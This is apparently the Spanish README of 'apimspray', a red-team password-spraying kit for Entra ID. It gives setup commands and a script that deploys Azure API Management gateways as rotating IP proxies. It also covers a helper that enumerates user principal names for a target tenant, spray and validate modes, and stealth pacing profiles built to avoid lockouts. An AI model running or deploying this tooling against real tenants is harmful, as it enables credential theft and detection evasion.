
Azure apim mini proxy
apimspray es un kit especializado de rociado de contraseñas de Entra ID diseñado para investigaciones de seguridad autorizadas y Red Teaming. Utiliza las puertas de enlace de Azure API Management (APIM) como una capa de proxy distribuida y rotatoria para la rotación de IP.
Lea la publicación del blog para obtener más detalles sobre este proyecto.
az): Necesario para que el script rotador implemente recursos. (Ejecute el script desde una sesión de CLI ya autenticada con az cli o use Azure Cloud Shell)pip install -r requirements.txt
az login
Ejecute apimspray directamente desde un entorno de Azure autenticado.
git clone https://github.com/crtvrffnrt/apimspray.git
cd apimspray
python3 apimspray.py --help
Implemente varias puertas de enlace APIM en distintas ubicaciones
python3 apimspraycreate.py --count 5 --outfile urls.txt
Implementa 33 instancias de APIM en Germanywestcentral y westeurope y guarda en urls.txt
python3 apimspraycreate.py --location germanywestcentral,westeurope --count 33 --outfile urls.txt
Referencia de CLI de apimspraycreate:
usage: apimspraycreate.py [-h] --outfile OUTFILE [--count COUNT] [--location LOCATION] [--prefix PREFIX] [--realm-prefix REALM_PREFIX] [--delete-old]
apimspraycreate - Azure APIM Deployer
options:
-h, --help show this help message and exit
--outfile OUTFILE Output file for URLs
--count COUNT Number of instances
--location LOCATION Comma-separated APIM location(s) to deploy into. When provided, only those regions are used and the first location is used for the resource group.
--prefix PREFIX API URL prefix
--realm-prefix REALM_PREFIX
Realm API prefix
--delete-old Delete old resource groups
Importante: Para todos los métodos, debe tener una sesión az activa en segundo plano (az login).
Asegúrese de tener preparadas sus listas objetivo:
users.txt: Lista de UserPrincipalNames (p. ej., [email protected]).passwords.txt: Lista de contraseñas para el rociado.Si no tiene una lista de usuarios, puede usar el script auxiliar generate_upns.py. Esta herramienta:
users.txt.Uso:
# Generate users.txt for a specific domain or tenant ID
python3 generate_upns.py --target example.com
# OR using Tenantid
python3 generate_upns.py --target 00000000-0000-0000-0000-000000000000
Referencia de CLI de generate_upns:
usage: generate_upns.py [-h] --target TARGET
Generate UPNs from connected Azure Tenants and Service Accounts.
options:
-h, --help show this help message and exit
--target TARGET Target Domain (e.g., example.com) or Tenant UUID
usage: apimspray.py [-h] [--urls URLS] [--users USERS] [--passwords PASSWORDS] [--output OUTPUT] [--tenant TENANT] [--domain DOMAIN] --mode {spray,validate} [--pace {stealth,low,mid,medium,high}]
[--continue-on-success]
apimspray - Entra ID Assessment Tool
options:
-h, --help show this help message and exit
--urls URLS Path to APIM URLs file (from apimspraycreate.py or apimsprayrotator.sh)
--users USERS Path to users file
--passwords PASSWORDS
Path to passwords file
--output OUTPUT Output directory
--tenant TENANT Tenant ID or Domain
--domain DOMAIN Append domain to users if missing
--mode {spray,validate}
Operation mode. 'spray' tests all passwords against all users (1:N). 'validate' performs 1:1 credential pair testing.
--pace {stealth,low,mid,medium,high}
Pacing profile for requests and lockout management:
- high: 15 workers, 0.1s delay, 10 passes/chunk, 5m lockout, 20 safe threshold
- medium: 5 workers, 1.0s delay, 5 passes/chunk, 10m lockout, 10 safe threshold, 10% jitter
- low: 2 workers, 5.0s delay, 2 passes/chunk, 15m lockout, 5 safe threshold, 20% jitter
- stealth: 1 worker, 30.0s delay, 1 pass/chunk, 20m lockout, 1 safe threshold, 40% jitter
--continue-on-success
Continue the assessment even after finding valid credentials.
validate: Comprueba una lista de pares usuario:contraseña. Requiere listas de igual longitud.
python3 apimspray.py --urls urls.txt --mode validate --users u.txt --passwords p.txt
spray: Prueba una contraseña contra todos los usuarios, luego espera (si está configurado) y pasa a la siguiente contraseña.
python3 apimspray.py --urls urls.txt --mode spray --users users.txt --passwords common_passwords.txt --pace medium
El argumento --pace controla la agresividad del rociado. Los valores están codificados para garantizar estabilidad y seguridad.
AADSTS50053), la herramienta aborta inmediatamente.Los resultados se guardan en el directorio results/<timestamp>/:
valid_*.txt: Autenticaciones exitosas (MFA requerido o Token recibido).blocked_*.txt: Cuentas bloqueadas o bloqueadas condicionalmente.failed_*.txt: Credenciales inválidas o usuario no encontrado.| Perfil | Trabajadores | Retraso | Conteo (Lote) | Espera de bloqueo | Umbral seguro | Jitter |
|---|
high | 15 | 0.1s | 10 | 5m | 20 bloqueadas | 0% |
medium | 5 | 1.0s | 5 | 10m | 10 bloqueadas | 10% |
low | 2 | 5.0s | 2 | 15m | 5 bloqueadas | 20% |
stealth | 1 | 30.0s | 1 | 20m | 1 bloqueada | 40% |